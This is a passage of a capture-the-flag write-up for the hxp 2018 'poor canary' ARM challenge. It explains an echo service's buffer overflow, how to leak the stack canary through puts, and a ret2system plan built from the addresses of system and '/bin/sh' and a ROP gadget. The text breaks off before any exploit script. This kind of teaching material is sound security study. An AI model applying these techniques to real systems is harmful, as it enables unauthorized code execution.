# Hxp 2018 poor canary

Let's take a look at the binary:

```
$    file canary
canary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped
$    pwn checksec canary
[*] '/Hackery/pod/modules/ret_2_system/hxp18_poorCanary/canary'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
```

So we can see that we are dealing with a `32` bit arm binary, that has a Stack Canary and NX stack. Arm is a different architecture from what we have been working with mostly, so things will be a bit different. Since we are dealing with arm binary, we will need qemu to run it (or some other emulator). In addition to that, if we want to use gdb we will need to install multi-architecture support for gdb. Lastly we will also need to install a utility for parsing through it's assembly code (we will use it later):

To emulate the binary:
```
$    sudo apt-get install qemu-user
```

For gdb support:
```
$    sudo apt-get install gdb-multiarch
```

For assembly code viewing:
```
$    sudo apt-get install binutils-arm-none-eabi
```

Now let's take a look at the binary:
```
$    qemu-arm canary
Welcome to hxp's Echo Service!
> 15[PII_REDACTED]5728
>[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]777777
```

So we can see that it scan in data, and prints it back. Let's figure out exactly what it is doing.

## Reversing

When we take a look at the main function in Ghidra, we see this:

```
undefined4 main(void)

{
  ssize_t bytesRead;
  char input [41];
  int stackCanary;
  int canary;
 
  canary = __stack_chk_guard;
  setbuf((FILE *)stdout,(char *)0x0);
  setbuf((FILE *)stdin,(char *)0x0);
  puts("Welcome to hxp\'s Echo Service!");
  while( true ) {
    printf("> ");
    bytesRead = read(0,input + 1,0x60);
    if ((bytesRead < 1) || ((input[bytesRead] == '\n' && (input[bytesRead] = '\0', bytesRead == 1)))
       ) break;
    puts(input + 1);
  }
  if (canary == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So we can see here that it starts off by printing the string `"Welcome to hxp\'s Echo Service!"`. Proceeding that it enters into a `while (true)` loop. Each iteration of the loop scans in `0x60` bytes worth of data into `input + 1`, which can only hold `40` bytes. So we have a buffer overflow. In addition to that it will print our input using `puts(input + 1)`.

## Exploitation

So to pop a shell, we will use the buffer overflow to overwrite the return address. However before we do that, we will need to deal with the stack canary.

#### Canary

We will leak the stack canary using the `puts(input + 1)` call. This is how it will work. The function `puts` will print data from a pointer that it is passed until it reaches a null byte. We will write just enough data to overwrite the least significant byte of the stack canary. This is because the least significant byte of the stack canary will be a null byte. Then when it prints our input, it will also print the rest of the stack canary (which will just be `3` bytes since we are dealing with a `32` bit binary) since there will be no null bytes in between the start of our input and the rest of the stack canary. Then we can just take those three bytes and add a null byte as the least significant byte, and we will have the stack canary.

#### Ret2System

So with that we will be able to overwrite the return address and get code execution. The only question is what will we execute with it. We can see that system is imported into the binary at `0x16d90`, so that is a good candidate:

```
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             int __stdcall system(char * __command)
             int               r0:4           <RETURN>
             char *            r0:4           __command
                             __libc_system                                   XREF[1]:     Entry Point(*)  
                             system
        00016d90 00 00 50 e3     cmp        __command,#0x0
```

We can also see it using objdump:
```
$    arm-none-eabi-objdump -D canary | grep libc_system
00016d90 <__libc_system>:
   16d94:    0a000000     beq    16d9c <__libc_system+0xc>
```

Next we just need to prep the argument for the `system` function. In Ghidra we can see that the string `/bin/sh` is at `0x71eb0`:

```
                             s_/bin/sh_00071eb0                              XREF[1]:     do_system:00016d58(*)  
        00071eb0 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00
```

The next thing that we will need is a ROP gadget that will pop values into the `r0` and `pc` registers. The code will expect it's argument in `r0`, and it will expect `pc` to hold the address to be executed:

```
$    python ROPgadget.py --binary canary | grep pop | grep r0 | grep pc
```

Looking through the list, we find this one which works (although we will need 4 bytes of filler data for `r4`):

```
0x00026b7c : pop {r0, r4, pc}
```

There is just one last thing that we will need before we can write the exploit. We know that the offset between the start of our input and the stack canary is `40` bytes, but what is the offset between the stack canary and the return address? Looking at the stack layout of the `main` function, we see that the canary is stored at offset `-0x14`:

```
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         r0:1           <RETURN>                                XREF[1]:     00010530(W)  
             ssize_t           r0:4           bytesRead                               XREF[1]:     00010530(W)  
             int               Stack[-0x14]:4 stackCanary                             XREF[2]:     000104cc(W),
                                                                                                   00010578(R)  
             char[41]          Stack[-0x3d]   input
             int               HASH:3fd2270   canary
                             main                                            XREF[3]:     Entry Point(*),
                                                                                          _start:0001039c(*), 000103b0(*)  
        000104b8 30 40 2d e9     stmdb      sp!,{ r4 r5 lr }
```

Since the canary is `4` bytes, tha